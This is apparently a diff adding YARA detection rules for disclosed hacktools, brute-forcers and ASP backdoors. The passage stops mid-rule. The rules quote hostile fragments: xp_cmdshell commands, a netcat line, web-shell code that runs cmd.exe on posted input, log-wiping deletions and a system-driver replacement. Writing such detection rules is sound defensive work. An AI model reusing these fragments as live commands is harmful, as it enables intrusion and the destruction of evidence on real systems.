+      $s0 = "s.exe %s %s %s %s %d /save" fullword ascii
+      $s2 = "s.exe start error...%d" fullword ascii
+      $s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
+      $s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
+      $s10 = "Result.txt" fullword ascii
+      $s11 = "Usage:sql.exe [options]" fullword ascii
+      $s17 = "%s root %s %d error" fullword ascii
+      $s18 = "Pass.txt" fullword ascii
+      $s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii
+   condition:
+      6 of them
+}
+
+rule Hacktools_CN_Panda_445TOOL {
+   meta:
+      description = "Disclosed hacktool set - file 445TOOL.rar"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "92050ba43029f914696289598cf3b18e34457a11"
+      id = "02075631-49cc-5b97-ad8e-92d734a26d34"
+   strings:
+      $s0 = "scan.bat" fullword ascii
+      $s1 = "Http.exe" fullword ascii
+      $s2 = "GOGOGO.bat" fullword ascii
+      $s3 = "ip.txt" fullword ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_Panda_445 {
+   meta:
+      description = "Disclosed hacktool set - file 445.rar"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
+      id = "02075631-49cc-5b97-ad8e-92d734a26d34"
+   strings:
+      $s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
+      $s1 = "445\\nc.exe" fullword ascii
+      $s2 = "445\\s.exe" fullword ascii
+      $s3 = "cs.exe %1" fullword ascii
+      $s4 = "445\\cs.exe" fullword ascii
+      $s5 = "445\\ip.txt" fullword ascii
+      $s6 = "445\\cmd.bat" fullword ascii
+      $s9 = "@echo off" fullword ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_WinEggDrop {
+   meta:
+      description = "Disclosed hacktool set - file s.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
+      id = "9b6244ee-5ace-5caa-bfa2-732bcfcfc998"
+   strings:
+      $s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+      $s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
+      $s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
+      $s8 = "Something Wrong About The Ports" fullword ascii
+      $s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
+      $s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
+      $s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
+      $s13 = "%-16s %-5d -> \"%s\"" fullword ascii
+      $s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
+      $s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
+      $s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii
+   condition:
+      5 of them
+}
+
+rule Hacktools_CN_Scan_BAT {
+   meta:
+      description = "Disclosed hacktool set - file scan.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
+      id = "836e0618-93c7-5519-bbc4-705ff5c2e127"
+   strings:
+      $s0 = "for /f %%a in (host.txt) do (" ascii
+      $s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+      $s2 = "del host.txt /q" fullword ascii
+      $s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+      $s4 = "start Http.exe %%a %http%" fullword ascii
+      $s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+   condition:
+      5 of them
+}
+
+rule Hacktools_CN_Panda_Burst {
+   meta:
+      description = "Disclosed hacktool set - file Burst.rar"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
+      id = "e07c66d1-958e-5ad2-9d5b-380d48af8360"
+   strings:
+      $s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_445_cmd {
+   meta:
+      description = "Disclosed hacktool set - file cmd.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "69b105a3aec3234819868c1a913772c40c6b727a"
+      id = "b9693f51-26ac-5bf1-8c4d-ca852a154636"
+   strings:
+      $bat = "@echo off" fullword ascii
+      $s0 = "cs.exe %1" fullword ascii
+      $s2 = "nc %1 4444" fullword ascii
+   condition:
+      uint32(0) == 0x68636540 and $bat at 0 and all of ($s*)
+}
+
+rule Hacktools_CN_GOGOGO_Bat {
+   meta:
+      description = "Disclosed hacktool set - file GOGOGO.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
+      id = "b52cc150-81d4-5895-8f83-ee2006f75617"
+   strings:
+      $s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
+      $s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
+      $s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
+      $s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
+      $s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
+      $s6 = "del /f tcpip.sys" fullword ascii
+      $s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
+      $s10 = "call scan.bat" fullword ascii
+      $s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
+      $s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
+      $s18 = "sc config LmHosts start= auto" fullword ascii
+      $s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
+      $s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii
+   condition:
+      3 of them
+}
+
+rule Hacktools_CN_Burst_pass {
+   meta:
+      description = "Disclosed hacktool set - file pass.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "55a05cf93dbd274355d798534be471dff26803f9"
+      id = "d8f6784f-80c8-51e2-9d86-40022cd8705d"
+   strings:
+      $s0 = "123456.com" fullword ascii
+      $s1 = "123123.com" fullword ascii
+      $s2 = "360.com" fullword ascii
+      $s3 = "123.com" fullword ascii
+      $s4 = "juso.com" fullword ascii
+      $s5 = "sina.com" fullword ascii
+      $s7 = "changeme" fullword ascii
+      $s8 = "master" fullword ascii
+      $s9 = "google.com" fullword ascii
+      $s10 = "chinanet" fullword ascii
+      $s12 = "lionking" fullword ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_JoHor_Posts_Killer {
+   meta:
+      description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
+      id = "68bba78e-f3a0-5eaa-9c63-e5f23a76b328"
+   strings:
+      $s0 = "Multithreading Posts_Send Killer" fullword ascii
+      $s3 = "GET [Access Point] HTTP/1.1" fullword ascii
+      $s6 = "The program's need files was not exist!" fullword ascii
+      $s7 = "JoHor_Posts_Killer" fullword wide
+      $s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+      $s10 = "  ( /s ) :" fullword ascii
+      $s11 = "forms.vbp" fullword ascii
+      $s12 = "forms.vcp" fullword ascii
+      $s13 = "Software\\FlySky\\E\\Install" fullword ascii
+   condition:
+      5 of them
+}
+
+rule Hacktools_CN_Panda_tesksd {
+   meta:
+      description = "Disclosed hacktool set - file tesksd.jpg"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
+      id = "399ff307-c2e8-57bb-b792-a2c599e8686e"
+   strings:
+      $s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
+      $s1 = "ExeMiniDownload.exe" fullword wide
+      $s16 = "POST %Hs" fullword ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_Http {
+   meta:
+      description = "Disclosed hacktool set - file Http.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
+      id = "bbff6ff6-8cef-5a83-afd3-34f306e8e715"
+   strings:
+      $s0 = "RPCRT4.DLL" fullword ascii
+      $s1 = "WNetAddConnection2A" fullword ascii
+      $s2 = "NdrPointerBufferSize" fullword ascii
+      $s3 = "_controlfp" fullword ascii
+   condition:
+      all of them and filesize < 10KB
+}
+
+rule Hacktools_CN_Burst_Start {
+   meta:
+      description = "Disclosed hacktool set - file Start.bat - DoS tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2014-11-17"
+      modified = "2023-01-27"
+      score = 60
+      hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
+      id = "1291fbc5-fbb3-5425-bb9a-e45f4d7cf562"
+   strings:
+      $s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" ascii
+      $s1 = "Blast.bat /r 600" fullword ascii
+      $s2 = "Blast.bat /l Blast.bat" fullword ascii
+      $s3 = "Blast.bat /c 600" fullword ascii
+      $s4 = "start Clear.bat" fullword ascii
+      $s5 = "del Result.txt" fullword ascii
+      $s6 = "s syn %%i %%j 3306 /save" fullword ascii
+      $s7 = "start Thecard.bat" fullword ascii
+      $s10 = "setlocal enabledelayedexpansion" fullword ascii
+   condition:
+      5 of them
+}
+
+rule Hacktools_CN_Panda_tasksvr {
+   meta:
+      description = "Disclosed hacktool set - file tasksvr.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
+      id = "5c85b382-551a-5e9e-9af8-d106cbe26f74"
+   strings:
+      $s2 = "Consys21.dll" fullword ascii
+      $s4 = "360EntCall.exe" fullword wide
+      $s15 = "Beijing1" fullword ascii
+   condition:
+      all of them
+}
+rule Hacktools_CN_Burst_Clear {
+   meta:
+      description = "Disclosed hacktool set - file Clear.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
+      id = "21f33a36-779e-5eac-819c-ef79f291b43c"
+   strings:
+      $s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
+      $s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
+      $s4 = "del /f /s /q %systemdrive%\\*.chk    " fullword ascii
+      $s5 = "del /f /s /q %systemdrive%\\*.tmp    " fullword ascii
+      $s8 = "del /f /q %userprofile%\\COOKIES s\\*.*    " fullword ascii
+      $s9 = "rd /s /q %windir%\\temp & md %windir%\\temp    " fullword ascii
+      $s11 = "del /f /s /q %systemdrive%\\recycled\\*.*    " fullword ascii
+      $s12 = "del /f /s /q \"%userprofile%\\Local Settings\\Temp\\*.*\"    " fullword ascii
+      $s19 = "del /f /s /q \"%userprofile%\\Local Settings\\Temporary Internet Files\\*.*\"   " ascii
+   condition:
+      5 of them
+}
+
+rule Hacktools_CN_Burst_Thecard {
+   meta:
+      description = "Disclosed hacktool set - file Thecard.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "50b01ea0bfa5ded855b19b024d39a3d632bacb4c"
+      id = "a9946aeb-2042-522f-8d91-f8b96341bb64"
+   strings:
+      $s0 = "tasklist |find \"Clear.bat\"||start Clear.bat" fullword ascii
+      $s1 = "Http://www.coffeewl.com" fullword ascii
+      $s2 = "ping -n 2 localhost 1>nul 2>nul" fullword ascii
+      $s3 = "for /L %%a in (" ascii
+      $s4 = "MODE con: COLS=42 lines=5" fullword ascii
+   condition:
+      all of them
+}
+
+rule Hacktools_CN_Burst_Blast {
+   meta:
+      description = "Disclosed hacktool set - file Blast.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "17.11.14"
+      score = 60
+      hash = "b07702a381fa2eaee40b96ae2443918209674051"
+      id = "9ac723c4-e88d-5fb3-b18f-c8b764c8acf3"
+   strings:
+      $s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http:" ascii
+      $s1 = "@echo off" fullword ascii
+   condition:
+      all of them
+}
+
+rule VUBrute_VUBrute {
+   meta:
+      description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file VUBrute.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "22.11.14"
+      score = 70
+      hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
+      id = "7ac74c85-465c-5eb5-8e91-004f28cabb75"
+   strings:
+      $s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
+      $s1 = "http://ubrute.com" fullword ascii
+      $s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
+      $s14 = "error.txt" fullword ascii
+   condition:
+      all of them
+}
+
+rule DK_Brute {
+   meta:
+      description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "22.11.14"
+      score = 70
+      reference = "http://goo.gl/xiIphp"
+      hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
+      id = "c9ea0dcf-10f3-5161-aebc-2db04c24b0a5"
+   strings:
+      $s6 = "get_CrackedCredentials" fullword ascii
+      $s13 = "Same port used for two different protocols:" fullword wide
+      $s18 = "coded by fLaSh" fullword ascii
+      $s19 = "get_grbToolsScaningCracking" fullword ascii
+   condition:
+      all of them
+}
+
+rule VUBrute_config {
+   meta:
+      description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "22.11.14"
+      score = 70
+      reference = "http://goo.gl/xiIphp"
+      hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
+      id = "25cad108-b2d6-5886-bb2f-e614e05649fa"
+   strings:
+      $s2 = "Restore=1" fullword ascii
+      $s6 = "Thread=" ascii
+      $s7 = "Running=1" fullword ascii
+      $s8 = "CheckCombination=" fullword ascii
+      $s10 = "AutoSave=1.000000" fullword ascii
+      $s12 = "TryConnect=" ascii
+      $s13 = "Tray=" ascii
+   condition:
+      all of them
+}
+
+rule sig_238_hunt {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file hunt.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
+      id = "5d9d1f99-2f12-51e9-a554-b349e19d00fb"
+   strings:
+      $s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
+      $s3 = "Usage - hunt \\\\servername" fullword ascii
+      $s4 = ".share = %S - %S" fullword wide
+      $s5 = "SMB share enumerator and admin finder " fullword ascii
+      $s7 = "Hunt only runs on Windows NT..." fullword ascii
+      $s8 = "User = %S" fullword ascii
+      $s9 = "Admin is %s\\%s" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_listip {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file listip.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
+      id = "417faf20-ee07-5c3e-bfcf-89599e38e62e"
+   strings:
+      $s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
+      $s2 = "ERROR No.2!!! Program Terminate." fullword ascii
+      $s4 = "Local Host Name: %s" fullword ascii
+      $s5 = "Packed by exe32pack 1.38" fullword ascii
+      $s7 = "Local Computer Name: %s" fullword ascii
+      $s8 = "Local IP Adress: %s" fullword ascii
+   condition:
+      all of them
+}
+
+rule ArtTrayHookDll {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
+      id = "324561fc-024c-5583-aa25-6b13e9616898"
+   strings:
+      $s0 = "ArtTrayHookDll.dll" fullword ascii
+      $s7 = "?TerminateHook@@YAXXZ" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_eee {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file eee.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
+      id = "9d3ad3a9-0498-5ca3-ac19-f250cb10c4d3"
+   strings:
+      $s0 = "szj1230@yesky.com" fullword wide
+      $s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
+      $s4 = "MailTo:szj1230@yesky.com" fullword wide
+      $s5 = "Command1_Click" fullword ascii
+      $s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
+      $s11 = "vb5chs.dll" fullword ascii
+      $s12 = "MSVBVM50.DLL" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspbackdoor_asp4 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file asp4.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "faf991664fd82a8755feb65334e5130f791baa8c"
+      id = "7718aa71-fc0f-505c-a035-b78ae0438653"
+   strings:
+      $s0 = "system.dll" fullword ascii
+      $s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
+      $s3 = "Public Function reboot(atype As Variant)" fullword ascii
+      $s4 = "t& = ExitWindowsEx(1, atype)" ascii
+      $s5 = "atype=request(\"atype\") " fullword ascii
+      $s7 = "AceiveX dll" fullword ascii
+      $s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
+      $s10 = "sys.reboot(atype)" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspfile1 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
+      id = "1b66dec0-22c8-5937-a0b2-22cbc68241ef"
+   strings:
+      $s0 = "' -- check for a command that we have posted -- '" fullword ascii
+      $s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
+      $s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
+      $s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
+      $s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
+      $s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii
+   condition:
+      3 of them
+}
+
+rule EditServer {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
+      id = "de6bf995-1c7c-561f-98df-e8748d5fb157"
+   strings:
+      $s0 = "%s Server.exe" fullword ascii
+      $s1 = "Service Port: %s" fullword ascii
+      $s2 = "The Port Must Been >0 & <65535" fullword ascii
+      $s8 = "3--Set Server Port" fullword ascii
+      $s9 = "The Server Password Exceeds 32 Characters" fullword ascii
+      $s13 = "Service Name: %s" fullword ascii
+      $s14 = "Server Password: %s" fullword ascii
+      $s17 = "Inject Process Name: %s" fullword ascii
+
+      $x1 = "WinEggDrop Shell Congirator" fullword ascii
+   condition:
+      5 of ($s*) or $x1
+}
+
+rule sig_238_letmein {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file letmein.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
+      id = "5dba055f-1928-534a-8d0e-11dda56d93b7"
+   strings:
+      $s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
+      $s6 = "Error get users from server!" fullword ascii
+      $s7 = "get in nt by name and null" fullword ascii
+      $s16 = "get something from nt, hold by killusa." fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_token {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file token.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
+      id = "9d0ac24b-2078-5455-8d9e-a642c71f7b2d"
+   strings:
+      $s0 = "Logon.exe" fullword ascii
+      $s1 = "Domain And User:" fullword ascii
+      $s2 = "PID=Get Addr$(): One" fullword ascii
+      $s3 = "Process " fullword ascii
+      $s4 = "psapi.dllK" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_TELNET {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
+      id = "fae22e0f-2f69-5dc6-984c-2c07530ad11a"
+   strings:
+      $s0 = "TELNET [host [port]]" fullword wide
+      $s2 = "TELNET.EXE" fullword wide
+      $s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
+      $s14 = "Software\\Microsoft\\Telnet" fullword wide
+   condition:
+      all of them
+}
+
+rule snifferport {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "d14133b5eaced9b7039048d0767c544419473144"
+      id = "5b903344-18d2-5d3d-be66-7260a5f3ea4b"
+   strings:
+      $s0 = "iphlpapi.DLL" fullword ascii
+      $s5 = "ystem\\CurrentCorolSet\\" ascii
+      $s11 = "Port.TX" fullword ascii
+      $s12 = "32Next" fullword ascii
+      $s13 = "V1.2 B" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_webget {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file webget.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
+      id = "b03a2463-94fe-5050-8e3d-269101a03cda"
+   strings:
+      $s0 = "Packed by exe32pack" ascii
+      $s1 = "GET A HTTP/1.0" fullword ascii
+      $s2 = " error " fullword ascii
+      $s13 = "Downloa" ascii
+   condition:
+      all of them
+}
+
+rule XYZCmd_zip_Folder_XYZCmd {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
+      id = "c3d70b93-1d53-5403-bd22-d1e4bad5042b"
+   strings:
+      $s0 = "Executes Command Remotely" fullword wide
+      $s2 = "XYZCmd.exe" fullword wide
+      $s6 = "No Client Software" fullword wide
+      $s19 = "XYZCmd V1.0 For NT S" fullword ascii
+   condition:
+      all of them
+}
+
+rule ASPack_Chinese {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
+      id = "ac821117-7534-5dec-9477-25be87361900"
+   strings:
+      $s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
+      $s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
+      $s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
+      $s8 = ";  Please, translate text only after simbol '='" fullword ascii
+      $s19 = "= Compress with ASPack" fullword ascii
+   condition:
+      all of them
+}
+
+rule aspbackdoor_EDIR {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
+      id = "0895091a-b620-5746-8245-d44716ec2bbe"
+   strings:
+      $s1 = "response.write \"<a href='index.asp'>" fullword ascii
+      $s3 = "if Request.Cookies(\"password\")=\"" ascii
+      $s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
+      $s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+      $s19 = "whichdir=Request(\"path\")" fullword ascii
+   condition:
+      all of them
+}
+
+rule ByPassFireWall_zip_Folder_Ie {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file Ie.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "d1b9058f16399e182c9b78314ad18b975d882131"
+      id = "7bd10fa1-be2d-5882-b4c7-b696612343e5"
+   strings:
+      $s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
+      $s1 = "LOADER ERROR" fullword ascii
+      $s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+      $s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+   condition:
+      all of them
+}
+
+rule EditKeyLogReadMe {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
+      id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
+   strings:
+      $s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
